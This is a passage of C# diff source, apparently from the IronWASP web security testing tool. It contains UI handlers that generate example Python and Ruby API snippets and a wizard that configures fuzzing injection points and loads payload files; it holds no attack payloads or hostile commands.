Rb.AppendLine("#'cs' is the variable that is assumed to contain a CookieStore object that is handling cookies for these requests."); + Rb.AppendLine("link_requests = Crawler.get_link_clicks(req, res, cs)"); + Rb.AppendLine("#'link_requests' contains a list of Request objects. Each request object in the list is the equivalent of the request created by the browser when someone clicks on one of the links in the HTML"); + Rb.AppendLine("#You can loop through this list and send each request. You can also update the parameters of the request before sending it."); + Rb.AppendLine("for link_req in link_requests"); + Rb.Append(" "); Rb.AppendLine("puts 'Sending request to - ' + link_req.full_url"); + Rb.Append(" "); Rb.AppendLine("link_res = link_req.send_req"); + Rb.AppendLine("end"); + } + else if (CrawlFormsRB.Checked) + { + Py.AppendLine("#'cs' is the variable that is assumed to contain a CookieStore object that is handling cookies for these requests."); + Py.AppendLine("form_requests = Crawler.GetFormSubmissions(req, res, cs)"); + Py.AppendLine("#'form_requests' contains a list of Request objects. Each request object in the list is the equivalent of the request created by the browser when someone submits one of the forms in the HTML"); + Py.AppendLine("#You can loop through this list and send each request. You can also update the parameters of the request before sending it."); + Py.AppendLine("for form_req in form_requests:"); + Py.Append(" "); Py.AppendLine("print 'Submitting form to - ' + form_req.FullUrl"); + Py.Append(" "); Py.AppendLine("form_res = form_req.Send()"); + + Rb.AppendLine("#'cs' is the variable that is assumed to contain a CookieStore object that is handling cookies for these requests."); + Rb.AppendLine("form_requests = Crawler.get_form_submissions(req, res, cs)"); + Rb.AppendLine("#'form_requests' contains a list of Request objects. Each request object in the list is the equivalent of the request created by the browser when someone submits one of the forms in the HTML"); + Rb.AppendLine("#You can loop through this list and send each request. You can also update the parameters of the request before sending it."); + Rb.AppendLine("for form_req in form_requests"); + Rb.Append(" "); Rb.AppendLine("puts 'Submitting form to - ' + form_req.full_url"); + Rb.Append(" "); Rb.AppendLine("form_res = form_req.send_req"); + Rb.AppendLine("end"); + } + else + { + ShowCode("", ""); + return; + } + + ShowCode(Py.ToString(), Rb.ToString()); + } + + private void ReqOCreateCodeBtn_Click(object sender, EventArgs e) + { + string Action = ""; + + foreach (DataGridViewRow Row in ReqOActionsGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + Action = Row.Cells[2].Value.ToString(); + ReqODescTB.Text = Row.Cells[3].Value.ToString(); + break; + } + } + + + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + Py.AppendLine(); + Rb.AppendLine(); + Py.AppendLine("#'req' is a variable that is assumed to contain a Request object"); + Rb.AppendLine("#'req' is a variable that is assumed to contain a Request object"); + + switch (Action) + { + case ("ToBinaryString"): + Py.AppendLine("#Convert the request to string. The string is specially formatted to preseve even binary content inside the request body."); + Py.AppendLine("#And it is a one-line string so you can easily embbed it in your scripts"); + Py.AppendLine("req_str = req.ToBinaryString()"); + Py.AppendLine("print 'The string representation of the request is :'"); + Py.AppendLine("print req_str"); + Py.AppendLine("#It is also possible to easily get the request object back from this string"); + Py.AppendLine("same_req = Request.FromBinaryString(req_str)"); + + Rb.AppendLine("#Convert the request to string. The string is specially formatted to preseve even binary content inside the request body."); + Rb.AppendLine("#And it is a one-line string so you can easily embbed it in your scripts"); + Rb.AppendLine("req_str = req.to_binary_string"); + Rb.AppendLine("puts 'The string representation of the request is :'"); + Rb.AppendLine("puts req_str"); + Rb.AppendLine("#It is also possible to easily get the request object back from this string"); + Rb.AppendLine("same_req = Request.from_binary_string(req_str)"); + break; + case ("ToTestUi"): + Py.AppendLine("#Create a new group in the ManualTesting section and display this request there."); + Py.AppendLine("name = req.ToTestUi()"); + Py.AppendLine("print 'Request sent to ManualTesting section. Group name is :' + name"); + Py.AppendLine("#You can also set a name to this group when sending the request. If this name is not valid or if it already exists then another name is automatically picked and used"); + Py.AppendLine("name = req.ToTestUi('somename')"); + Py.AppendLine("print 'Request sent to ManualTesting section. Group name is :' + name"); + + Rb.AppendLine("#Create a new group in the ManualTesting section and display this request there."); + Rb.AppendLine("name = req.to_test_ui"); + Rb.AppendLine("puts 'Request sent to ManualTesting section. Group name is :' + name"); + Rb.AppendLine("#You can also set a name to this group when sending the request. If this name is not valid or if it already exists then another name is automatically picked and used"); + Rb.AppendLine("name = req.ToTestUi('somename')"); + Rb.AppendLine("puts 'Request sent to ManualTesting section. Group name is :' + name"); + break; + case ("GetClone"): + Py.AppendLine("#Create a cloned copy of a request object"); + Py.AppendLine("cloned_req = req.GetClone()"); + Py.AppendLine("#'cloned_req' is exactly identical copy of 'req'"); + + + Rb.AppendLine("#Create a cloned copy of a request object"); + Rb.AppendLine("cloned_req = req.get_clone"); + Rb.AppendLine("#'cloned_req' is exactly identical copy of 'req'"); + break; + } + ShowCode(Py.ToString(), Rb.ToString()); + } + + private void ResOCreateCodeBtn_Click(object sender, EventArgs e) + { + string Action = ""; + + foreach (DataGridViewRow Row in ResOActionsGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + Action = Row.Cells[2].Value.ToString(); + ResODescTB.Text = Row.Cells[3].Value.ToString(); + break; + } + } + + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + Py.AppendLine(); + Rb.AppendLine(); + Py.AppendLine("#'res' is a variable that is assumed to contain a Response object"); + Rb.AppendLine("#'res' is a variable that is assumed to contain a Response object"); + + switch (Action) + { + case ("Render"): + Py.AppendLine("#Will start an another application to display the page."); + Py.AppendLine("res.Render()"); + + Rb.AppendLine("#Will start an another application to display the page."); + Rb.AppendLine("res.render"); + break; + case ("Save"): + Py.AppendLine("#Save the body of the response to a file named image.jpg in c:\\ drive"); + Py.AppendLine(@"res.SaveBody(""c:\\image.jpg"")"); + + Rb.AppendLine("#Save the body of the response to a file named image.jpg in c:\\ drive"); + Rb.AppendLine(@"res.save_body(""c:\\image.jpg"")"); + break; + } + ShowCode(Py.ToString(), Rb.ToString()); + } + + private void ResOActionsGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (ResOActionsGrid.SelectedRows == null) return; + if (ResOActionsGrid.SelectedRows.Count == 0) return; + foreach (DataGridViewRow Row in ResOActionsGrid.Rows) + { + if (Row.Index == ResOActionsGrid.SelectedRows[0].Index) + { + Row.Cells[0].Value = true; + ResOCreateCodeBtn.Enabled = true; + } + else + { + Row.Cells[0].Value = false; + } + } + } + + private void ReqOActionsGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (ReqOActionsGrid.SelectedRows == null) return; + if (ReqOActionsGrid.SelectedRows.Count == 0) return; + foreach (DataGridViewRow Row in ReqOActionsGrid.Rows) + { + if (Row.Index == ReqOActionsGrid.SelectedRows[0].Index) + { + Row.Cells[0].Value = true; + ReqOCreateCodeBtn.Enabled = true; + } + else + { + Row.Cells[0].Value = false; + } + } + } + + private void ToolsItemGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (ToolsItemGrid.SelectedRows == null) return; + if (ToolsItemGrid.SelectedRows.Count == 0) return; + foreach (DataGridViewRow Row in ToolsItemGrid.Rows) + { + if (Row.Index == ToolsItemGrid.SelectedRows[0].Index) + { + Row.Cells[0].Value = true; + ToolsCreateCodeBtn.Enabled = true; + } + else + { + Row.Cells[0].Value = false; + } + } + } + + private void LogSourceGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (LogSourceGrid.SelectedRows == null) return; + if (LogSourceGrid.SelectedRows.Count == 0) return; + foreach (DataGridViewRow Row in LogSourceGrid.Rows) + { + if (Row.Index == LogSourceGrid.SelectedRows[0].Index) + { + Row.Cells[0].Value = true; + LogCreateCodeBtn.Enabled = true; + } + else + { + Row.Cells[0].Value = false; + } + } + } + + private void ToolsCreateCodeBtn_Click(object sender, EventArgs e) + { + string Action = ""; + + foreach (DataGridViewRow Row in ToolsItemGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + Action = Row.Cells[2].Value.ToString(); + break; + } + } + + StringBuilder Py = new StringBuilder(); + StringBuilder Rb = new StringBuilder(); + Py.AppendLine(); + Rb.AppendLine(); + Py.AppendLine("#'res' is a variable that is assumed to contain a Response object"); + Rb.AppendLine("#'res' is a variable that is assumed to contain a Response object"); + + switch (Action) + { + case ("path"): + Py.AppendLine("print 'the location of IronWASP executable is ' + Config.Path"); + + Rb.AppendLine("puts 'the location of IronWASP executable is ' + Config.path"); + break; + case ("base64"): + Py.AppendLine("#Base64 encode 'abcd'"); + Py.AppendLine("enc_value = Tools.Base64Encode('abcd')"); + Py.AppendLine("#now Base64 decode the encoded value"); + Py.AppendLine("dec_value = Tools.Base64Decode(enc_value)"); + + Rb.AppendLine("#Base64 encode 'abcd'"); + Rb.AppendLine("enc_value = Tools.base64_encode('abcd')"); + Rb.AppendLine("#now Base64 decode the encoded value"); + Rb.AppendLine("dec_value = Tools.base64_decode(enc_value)"); + break; + case ("hex"): + Py.AppendLine("#Hex encode 'abcd'"); + Py.AppendLine("enc_value = Tools.HexEncode('abcd')"); + Py.AppendLine("#now Hex decode the encoded value"); + Py.AppendLine("dec_value = Tools.HexDecode(enc_value)"); + + Rb.AppendLine("#Hex encode 'abcd'"); + Rb.AppendLine("enc_value = Tools.hex_encode('abcd')"); + Rb.AppendLine("#now Hex decode the encoded value"); + Rb.AppendLine("dec_value = Tools.hex_decode(enc_value)"); + break; + case ("html"): + Py.AppendLine("#Html encode ''"); + Py.AppendLine("enc_value = Tools.HtmlEncode('')"); + Py.AppendLine("#now Html decode the encoded value"); + Py.AppendLine("dec_value = Tools.HtmlDecode(enc_value)"); + + Rb.AppendLine("#Html encode ''"); + Rb.AppendLine("enc_value = Tools.html_encode('')"); + Rb.AppendLine("#now Html decode the encoded value"); + Rb.AppendLine("dec_value = Tools.html_decode(enc_value)"); + break; + case ("url"): + Py.AppendLine("#Url encode ''"); + Py.AppendLine("enc_value = Tools.UrlEncode('')"); + Py.AppendLine("#now Url decode the encoded value"); + Py.AppendLine("dec_value = Tools.UrlDecode(enc_value)"); + + Rb.AppendLine("#Url encode ''"); + Rb.AppendLine("enc_value = Tools.url_encode('')"); + Rb.AppendLine("#now Url decode the encoded value"); + Rb.AppendLine("dec_value = Tools.url_decode(enc_value)"); + break; + case ("hash"): + Py.AppendLine("#Create MD5 hash of 'abcd'"); + Py.AppendLine(@"print ""MD5 of 'abcd' is "" + Tools.md5('abcd')"); + Py.AppendLine("#Create SHA1 hash of 'abcd'"); + Py.AppendLine(@"print ""SHA1 of 'abcd' is "" + Tools.sha1('abcd')"); + Py.AppendLine("#Create SHA256 hash of 'abcd'"); + Py.AppendLine(@"print ""SHA256 of 'abcd' is "" + Tools.sha256('abcd')"); + Py.AppendLine("#Create SHA384 hash of 'abcd'"); + Py.AppendLine(@"print ""SHA384 of 'abcd' is "" + Tools.sha384('abcd')"); + Py.AppendLine("#Create SHA512 hash of 'abcd'"); + Py.AppendLine(@"print ""SHA512 of 'abcd' is "" + Tools.sha512('abcd')"); + + Rb.AppendLine("#Create MD5 hash of 'abcd'"); + Rb.AppendLine(@"puts ""MD5 of 'abcd' is "" + Tools.md5('abcd')"); + Rb.AppendLine("#Create SHA1 hash of 'abcd'"); + Rb.AppendLine(@"puts ""SHA1 of 'abcd' is "" + Tools.sha1('abcd')"); + Rb.AppendLine("#Create SHA256 hash of 'abcd'"); + Rb.AppendLine(@"puts ""SHA256 of 'abcd' is "" + Tools.sha256('abcd')"); + Rb.AppendLine("#Create SHA384 hash of 'abcd'"); + Rb.AppendLine(@"puts ""SHA384 of 'abcd' is "" + Tools.sha384('abcd')"); + Rb.AppendLine("#Create SHA512 hash of 'abcd'"); + Rb.AppendLine(@"puts ""SHA512 of 'abcd' is "" + Tools.sha512('abcd')"); + break; + case ("diff"): + Py.AppendLine("value_one = 'aa bb cc dd'"); + Py.AppendLine("value_two = 'aa bx cc dd'"); + Py.AppendLine("print 'The percentage of differnce between the two strings is - ' + str(Tools.DiffLevel(value_one, value_two)) + '%'"); + + Rb.AppendLine("value_one = 'aa bb cc dd'"); + Rb.AppendLine("value_two = 'aa bx cc dd'"); + Rb.AppendLine("puts 'The percentage of differnce between the two strings is - ' + Tools.diff_level(value_one, value_two).to_s + '%'"); + break; + case ("exec"): + Py.AppendLine("#Run an external executable named test.exe located inside c:\\ drive"); + Py.AppendLine(@"Tools.Run(""c:\\test.exe"")"); + Py.AppendLine("#Run an external executable named test.exe located inside c:\\ drive and pass it some arguments"); + Py.AppendLine(@"Tools.RunWith(""c:\\test.exe"", ""-h 127.0.0.1"")"); + Py.AppendLine("#Similar to Tools.RunWith function but it executes test.exe in a command prompt and keeps the prompt open after test.exe terminates."); + Py.AppendLine(@"Tools.RunInShellWith(""c:\\test.exe"", ""-h 127.0.0.1"")#If you don't want to pass any arguments to the executable then simply use an empty string"); + + Rb.AppendLine("#Run an external executable named test.exe located inside c:\\ drive"); + Rb.AppendLine(@"Tools.run(""c:\\test.exe"")"); + Rb.AppendLine("#Run an external executable named test.exe located inside c:\\ drive and pass it some arguments"); + Rb.AppendLine(@"Tools.run_with(""c:\\test.exe"", ""-h 127.0.0.1"")"); + Rb.AppendLine("#Similar to Tools.run_with function but it executes test.exe in a command prompt and keeps the prompt open after test.exe terminates."); + Rb.AppendLine(@"Tools.run_in_shell_with(""c:\\test.exe"", ""-h 127.0.0.1"")#If you don't want to pass any arguments to the executable then simply use an empty string"); + break; + case ("debug"): + Py.AppendLine("#Debug plugins and scripts by printing trace messages. This similar to using the print command for debugging"); + Py.AppendLine("#The trace messages are listed in the 'Trace' area of the 'Dev' section"); + Py.AppendLine(@"Tools.Trace(""aaa"", ""bbb"")"); + Py.AppendLine("#Here aaa and bbb are just demo strings, you can pass any string value you want here."); + + Rb.AppendLine("#Debug plugins and scripts by printing trace messages. This similar to using the print command for debugging"); + Rb.AppendLine("#The trace messages are listed in the 'Trace' area of the 'Dev' section"); + Rb.AppendLine(@"Tools.trace(""aaa"", ""bbb"")"); + Rb.AppendLine("#Here aaa and bbb are just demo strings, you can pass any string value you want here."); + break; + } + ShowCode(Py.ToString(), Rb.ToString()); + } + + + + + int FuzzCurrentStep = 0; + Dictionary FuzzInjectionPoints = new Dictionary(); + string[] FuzzPayloads = new string[]{}; + FileInfo FuzzPayloadsFile = null; + string FuzzInjectedBodyType = ""; + string FuzzInjectedBodyFormatPlugin = ""; + string FuzzLogSourceValue = ""; + + private void FuzzUseCustomLogSourceCB_CheckedChanged(object sender, EventArgs e) + { + FuzzLogSourceTB.Enabled = FuzzUseCustomLogSourceCB.Checked; + } + + private void FuzzStepZeroNextBtn_Click(object sender, EventArgs e) + { + FuzzInjectionPoints.Clear(); + + if (FuzzUseUiRB.Checked) + { + FuzzSessionPluginGrid.Visible = false; + FuzzSessionPluginMsgTB.Visible = false; + + this.FuzzCurrentStep = 2; + this.FuzzBaseTabs.SelectTab(2); + } + else + { + UpdateSelectedFuzzInjectionPointsList(); + FuzzSessionPluginGrid.Visible = true; + FuzzSessionPluginMsgTB.Visible = true; + + this.FuzzCurrentStep = 1; + this.FuzzBaseTabs.SelectTab(1); + } + } + + private void FuzzStepOnePreviousBtn_Click(object sender, EventArgs e) + { + this.FuzzCurrentStep = 0; + this.FuzzBaseTabs.SelectTab(0); + } + + private void FuzzStepOneNextBtn_Click(object sender, EventArgs e) + { + string Error = CheckFuzzStep1Input(); + if (Error.Length == 0) + { + this.FuzzCurrentStep = 2; + this.FuzzBaseTabs.SelectTab(2); + } + else + { + ShowFuzzStep1Error(Error); + } + } + + private void FuzzStepTwoPreviousBtn_Click(object sender, EventArgs e) + { + if (FuzzUseUiRB.Checked) + { + this.FuzzCurrentStep = 0; + this.FuzzBaseTabs.SelectTab(0); + } + else + { + this.FuzzCurrentStep = 1; + this.FuzzBaseTabs.SelectTab(1); + } + } + + private void FuzzStepTwoNextBtn_Click(object sender, EventArgs e) + { + string Error = CheckFuzzStep2Input(); + if (Error.Length == 0) + { + this.FuzzCurrentStep = 3; + this.FuzzBaseTabs.SelectTab(3); + } + else + { + ShowFuzzStep2Error(Error); + } + } + + private void FuzzStepThreePreviousBtn_Click(object sender, EventArgs e) + { + this.FuzzCurrentStep = 2; + this.FuzzBaseTabs.SelectTab(2); + } + + private void FuzzSessionPluginGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (FuzzSessionPluginGrid.SelectedRows == null) return; + if (FuzzSessionPluginGrid.SelectedRows.Count == 0) return; + + foreach (DataGridViewRow Row in FuzzSessionPluginGrid.Rows) + { + if (Row.Index == FuzzSessionPluginGrid.SelectedRows[0].Index) + { + Row.Cells[0].Value = true; + } + else + { + Row.Cells[0].Value = false; + } + } + } + + private void FuzzBaseTabs_Selecting(object sender, TabControlCancelEventArgs e) + { + if (FuzzBaseTabs.SelectedIndex != this.FuzzCurrentStep) + FuzzBaseTabs.SelectTab(this.FuzzCurrentStep); + } + + void ShowFuzzStep1Error(string Text) + { + this.FuzzStep1StatusTB.Text = Text; + if (Text.Length == 0) + { + this.FuzzStep1StatusTB.Visible = false; + } + else + { + this.FuzzStep1StatusTB.ForeColor = Color.Red; + this.FuzzStep1StatusTB.Visible = true; + } + } + + void ShowFuzzStep2Error(string Text) + { + this.FuzzStep2StatusTB.Text = Text; + if (Text.Length == 0) + { + this.FuzzStep2StatusTB.Visible = false; + } + else + { + this.FuzzStep2StatusTB.ForeColor = Color.Red; + this.FuzzStep2StatusTB.Visible = true; + } + } + + void ShowFuzzStep3Error(string Text) + { + this.FuzzStep3StatusTB.Text = Text; + if (Text.Length == 0) + { + this.FuzzStep3StatusTB.Visible = false; + } + else + { + this.FuzzStep3StatusTB.ForeColor = Color.Red; + this.FuzzStep3StatusTB.Visible = true; + } + } + + private void FuzzParameterTypeGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (FuzzParameterTypeGrid.SelectedRows == null) return; + if (FuzzParameterTypeGrid.SelectedRows.Count == 0) return; + + FuzzBodyTypeGB.Visible = false; + FuzzAllParametersRB.Visible = false; + FuzzAllParametersRB.Checked = true; + FuzzListedParametersRB.Visible = false; + FuzzParametersNameListLbl.Visible = false; + FuzzParametersNameListTB.Visible = false; + FuzzAddPointLL.Visible = false; + + foreach (DataGridViewRow Row in FuzzParameterTypeGrid.Rows) + { + if (Row.Index == FuzzParameterTypeGrid.SelectedRows[0].Index) + { + Row.Cells[0].Value = true; + switch (Row.Cells[1].Value.ToString()) + { + case ("UrlPathParts"): + FuzzAllParametersRB.Visible = true; + FuzzListedParametersRB.Visible = true; + FuzzParametersNameListLbl.Visible = true; + FuzzParametersNameListTB.Visible = true; + FuzzAddPointLL.Visible = true; + FuzzAllParametersRB.Text = "Fuzz all UrlPathPart positions"; + FuzzListedParametersRB.Text = "Fuzz only UrlPathPart positions listed below"; + FuzzParametersNameListLbl.Text = "Enter the zero-based index positions one per line:"; + break; + case ("Query"): + FuzzAllParametersRB.Visible = true; + FuzzListedParametersRB.Visible = true; + FuzzParametersNameListLbl.Visible = true; + FuzzParametersNameListTB.Visible = true; + FuzzAddPointLL.Visible = true; + FuzzAllParametersRB.Text = "Fuzz all Query Parameters"; + FuzzListedParametersRB.Text = "Fuzz only Query Parameters listed below"; + FuzzParametersNameListLbl.Text = "Enter one Parameter Name per line:"; + break; + case ("Body"): + FuzzBodyTypeGrid.Rows.Clear(); + FuzzBodyTypeGrid.Rows.Add(false, "Normal"); + foreach(string Name in FormatPlugin.List()) + { + FuzzBodyTypeGrid.Rows.Add(false, Name); + } + FuzzBodyTypeGrid.Rows.Add(false, "Other Unknown/Custom"); + FuzzBodyTypeGrid.Visible = true; + + FuzzBodyCustomMsgTB.Visible = false; + FuzzBodyCustomStartLbl.Visible = false; + FuzzBodyCustomStartTB.Visible = false; + FuzzBodyCustomEndLbl.Visible = false; + FuzzBodyCustomEndTB.Visible = false; + + FuzzBodyTypeGB.Visible = true; + + break; + case ("Cookie"): + FuzzAllParametersRB.Visible = true; + FuzzListedParametersRB.Visible = true; + FuzzParametersNameListLbl.Visible = true; + FuzzParametersNameListTB.Visible = true; + FuzzAddPointLL.Visible = true; + FuzzAllParametersRB.Text = "Fuzz all Cookie Parameters"; + FuzzListedParametersRB.Text = "Fuzz only Cookie Parameters listed below"; + FuzzParametersNameListLbl.Text = "Enter one Parameter Name per line:"; + break; + case ("Headers"): + FuzzAllParametersRB.Visible = true; + FuzzListedParametersRB.Visible = true; + FuzzParametersNameListLbl.Visible = true; + FuzzParametersNameListTB.Visible = true; + FuzzAddPointLL.Visible = true; + FuzzAllParametersRB.Text = "Fuzz all Header Parameters"; + FuzzListedParametersRB.Text = "Fuzz only Header Parameters listed below"; + FuzzParametersNameListLbl.Text = "Enter one Parameter Name per line:"; + break; + } + } + else + { + Row.Cells[0].Value = false; + } + } + } + + private void FuzzBodyTypeGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (FuzzBodyTypeGrid.SelectedRows == null) return; + if (FuzzBodyTypeGrid.SelectedRows.Count == 0) return; + + FuzzAllParametersRB.Visible = false; + FuzzAllParametersRB.Checked = true; + FuzzListedParametersRB.Visible = false; + FuzzParametersNameListLbl.Visible = false; + FuzzParametersNameListTB.Visible = false; + FuzzAddPointLL.Visible = false; + + FuzzBodyCustomMsgTB.Visible = false; + FuzzBodyCustomStartLbl.Visible = false; + FuzzBodyCustomStartTB.Visible = false; + FuzzBodyCustomEndLbl.Visible = false; + FuzzBodyCustomEndTB.Visible = false; + + foreach (DataGridViewRow Row in FuzzBodyTypeGrid.Rows) + { + if (Row.Index == FuzzBodyTypeGrid.SelectedRows[0].Index) + { + Row.Cells[0].Value = true; + if (Row.Index == 0) + { + FuzzAllParametersRB.Visible = true; + FuzzListedParametersRB.Visible = true; + FuzzParametersNameListLbl.Visible = true; + FuzzParametersNameListTB.Visible = true; + FuzzAddPointLL.Visible = true; + FuzzAllParametersRB.Text = "Fuzz all Body Parameters"; + FuzzListedParametersRB.Text = "Fuzz only Body Parameters listed below"; + FuzzParametersNameListLbl.Text = "Enter one Parameter Name per line:"; + } + else if (Row.Index == FuzzBodyTypeGrid.Rows.Count - 1) + { + FuzzBodyCustomMsgTB.Visible = true; + FuzzBodyCustomStartLbl.Visible = true; + FuzzBodyCustomStartTB.Visible = true; + FuzzBodyCustomEndLbl.Visible = true; + FuzzBodyCustomEndTB.Visible = true; + FuzzAddPointLL.Visible = true; + } + else + { + FuzzAllParametersRB.Visible = true; + FuzzListedParametersRB.Visible = true; + FuzzParametersNameListLbl.Visible = true; + FuzzParametersNameListTB.Visible = true; + FuzzAddPointLL.Visible = true; + FuzzAllParametersRB.Text = string.Format("Fuzz all {0} Values", Row.Cells[1].Value.ToString()); + FuzzListedParametersRB.Text = string.Format("Fuzz only {0} Values at listed indexes", Row.Cells[1].Value.ToString()); + FuzzParametersNameListLbl.Text = "Enter the zero-based index positions of values one per line:"; + } + } + else + { + Row.Cells[0].Value = false; + } + } + } + + private void FuzzListedParametersRB_CheckedChanged(object sender, EventArgs e) + { + FuzzParametersNameListTB.Enabled = FuzzListedParametersRB.Checked; + } + + private void FuzzAddPointLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + ShowFuzzStep1Error(""); + + string ParameterType = ""; + string BodyType = ""; + string BodyFormatPlugin = ""; + string StartMarker = FuzzBodyCustomStartTB.Text; + string EndMarker = FuzzBodyCustomEndTB.Text; + string[] ParametersList = FuzzParametersNameListTB.Text.Split(new string[]{Environment.NewLine}, StringSplitOptions.RemoveEmptyEntries); + + foreach(DataGridViewRow Row in FuzzParameterTypeGrid.Rows) + { + if((bool)Row.Cells[0].Value) + { + ParameterType = Row.Cells[1].Value.ToString(); + break; + } + } + if (ParameterType.Equals("Body")) + { + foreach (DataGridViewRow Row in FuzzBodyTypeGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + if (Row.Index == 0) + { + BodyType = "Normal"; + } + else if (Row.Index == FuzzBodyTypeGrid.Rows.Count - 1) + { + BodyType = "Other"; + } + else + { + BodyType = "FormatPlugin"; + BodyFormatPlugin = Row.Cells[1].Value.ToString(); + } + break; + } + } + } + + switch (ParameterType) + { + case("UrlPathParts"): + if(FuzzAllParametersRB.Checked) + { + FuzzInjectionPoints["UrlPathParts"] = new string[]{}; + } + else + { + foreach (string P in ParametersList) + { + try + { + Int32.Parse(P); + } + catch + { + ShowFuzzStep1Error("UrlPathParts position must be a number"); + return; + } + } + if (ParametersList.Length == 0) + { + ShowFuzzStep1Error("UrlPathParts positions list cannot be empty. Mention atleast one position."); + return; + } + FuzzInjectionPoints["UrlPathParts"] = ParametersList; + } + break; + case ("Query"): + if (FuzzAllParametersRB.Checked) + { + FuzzInjectionPoints["Query"] = new string[] { }; + } + else + { + if (ParametersList.Length == 0) + { + ShowFuzzStep1Error("Query parameter names list cannot be empty. Mention atleast one parameter."); + return; + } + FuzzInjectionPoints["Query"] = ParametersList; + } + break; + case ("Body"): + FuzzInjectedBodyType = BodyType; + FuzzInjectedBodyFormatPlugin = ""; + switch (BodyType) + { + case("Normal"): + if (FuzzAllParametersRB.Checked) + { + FuzzInjectionPoints["Body"] = new string[] { }; + } + else + { + if (ParametersList.Length == 0) + { + ShowFuzzStep1Error("Body parameter names list cannot be empty. Mention atleast one parameter."); + return; + } + FuzzInjectionPoints["Body"] = ParametersList; + } + break; + case ("Other"): + if (StartMarker.Length == 0 || EndMarker.Length == 0) + { + ShowFuzzStep1Error("Start or End markers cannot be empty."); + return; + } + if (StartMarker.Equals(EndMarker)) + { + ShowFuzzStep1Error("Start and End markers cannot be the same."); + return; + } + FuzzInjectionPoints["Body"] = new string[] { StartMarker, EndMarker }; + break; + case ("FormatPlugin"): + FuzzInjectedBodyFormatPlugin = BodyFormatPlugin; + if (FuzzAllParametersRB.Checked) + { + FuzzInjectionPoints["Body"] = new string[] { }; + } + else + { + foreach (string P in ParametersList) + { + try + { + Int32.Parse(P); + } + catch + { + ShowFuzzStep1Error(string.Format("{0} values position must be a number", BodyFormatPlugin)); + return; + } + } + if (ParametersList.Length == 0) + { + ShowFuzzStep1Error(string.Format("{0} positions list cannot be empty. Mention atleast one position.", BodyFormatPlugin)); + return; + } + FuzzInjectionPoints["Body"] = ParametersList; + } + break; + } + break; + case ("Cookie"): + if (FuzzAllParametersRB.Checked) + { + FuzzInjectionPoints["Cookie"] = new string[] { }; + } + else + { + if (ParametersList.Length == 0) + { + ShowFuzzStep1Error("Cookie parameter names list cannot be empty. Mention atleast one parameter."); + return; + } + FuzzInjectionPoints["Cookie"] = ParametersList; + } + break; + case ("Headers"): + if (FuzzAllParametersRB.Checked) + { + FuzzInjectionPoints["Headers"] = new string[] { }; + } + else + { + if (ParametersList.Length == 0) + { + ShowFuzzStep1Error("Headers parameter names list cannot be empty. Mention atleast one parameter."); + return; + } + FuzzInjectionPoints["Headers"] = ParametersList; + } + break; + } + FuzzBodyTypeGB.Visible = false; + FuzzAllParametersRB.Visible = false; + FuzzListedParametersRB.Visible = false; + FuzzParametersNameListLbl.Visible = false; + FuzzParametersNameListTB.Visible = false; + FuzzAddPointLL.Visible = false; + + foreach (DataGridViewRow Row in FuzzParameterTypeGrid.Rows) + { + Row.Cells[0].Value = false; + } + + UpdateSelectedFuzzInjectionPointsList(); + } + + void UpdateSelectedFuzzInjectionPointsList() + { + StringBuilder SB = new StringBuilder("Selected Injection Points:\r\n"); + if (FuzzInjectionPoints.Count > 0) + { + foreach (string Section in FuzzInjectionPoints.Keys) + { + SB.Append(Section); SB.Append(", "); + } + } + else + { + SB.Append("-"); + } + FuzzSelectedParametersListTB.Text = SB.ToString().TrimEnd().TrimEnd(','); + + } + + string CheckFuzzStep1Input() + { + if (FuzzInjectionPoints.Count == 0) + { + return "No injection points were selected. Select atleast one injection point before proceeding."; + } + return ""; + } + + string CheckFuzzStep2Input() + { + if (FuzzLoadPayloadsFromFileRB.Checked) + { + if (FuzzPayloadsFile == null || FuzzPayloadsFileLbl.Text.Trim().Length == 0) + { + return "No file was selected to load payloads"; + } + } + else + { + FuzzPayloads = FuzzPayloadsListTB.Text.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries); + if (FuzzPayloads.Length == 0) + { + return "No payloads were entered by you."; + } + } + return ""; + } + + private void LoadPayloadsFileLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + while (PayloadFileOpener.ShowDialog() == DialogResult.OK) + { + FuzzPayloadsFile = new FileInfo(PayloadFileOpener.FileName); + try + { + StreamReader SR = new StreamReader(FuzzPayloadsFile.FullName); + FuzzPayloadsListTB.Text = SR.ReadToEnd(); + SR.Close(); + FuzzPayloadsFileLbl.Text = FuzzPayloadsFile.FullName; + } + catch (Exception Exp) + { + MessageBox.Show(string.Format("Error reading selected file: {0}", Exp)); + } + break; + } + } + + private void FuzzLoadPayloadsFromFileRB_CheckedChanged(object sender, EventArgs e) + { + FuzzLoadPayloadsFileLL.Enabled = FuzzLoadPayloadsFromFileRB.Checked; + } + + private void FuzzUsePayloadsFromListRB_CheckedChanged(object sender, EventArgs e) + { + FuzzPayloadsListTB.Enabled = FuzzUsePayloadsFromListRB.Checked; + } + + private void FuzzCreateCodeBtn_Click(object sender, EventArgs e) + { + ShowFuzzStep3Error(""); + string SessionPluginName = ""; + if (FuzzUseCustomLogSourceCB.Checked) + { + if (FuzzLogSourceTB.Text.Trim().Length > 0) + { + try + { + Request Req = new Request("http://a.site"); + Req.SetSource(FuzzLogSourceTB.Text.Trim()); + FuzzLogSourceValue = FuzzLogSourceTB.Text.Trim(); + } + catch(Exception Exp) + { + ShowFuzzStep3Error(string.Format("Invalid Log source - {0}", Exp.Message)); + return; + } + } + else + { + ShowFuzzStep3Error("Log source cannot be empty. Either uncheck this option or enter a valid log source"); + return; + } + } + + foreach (DataGridViewRow Row in FuzzSessionPluginGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + if (Row.Index == 0) + { + SessionPluginName = ""; + } + else + { + SessionPluginName = Row.Cells[1].Value.ToString(); + } + 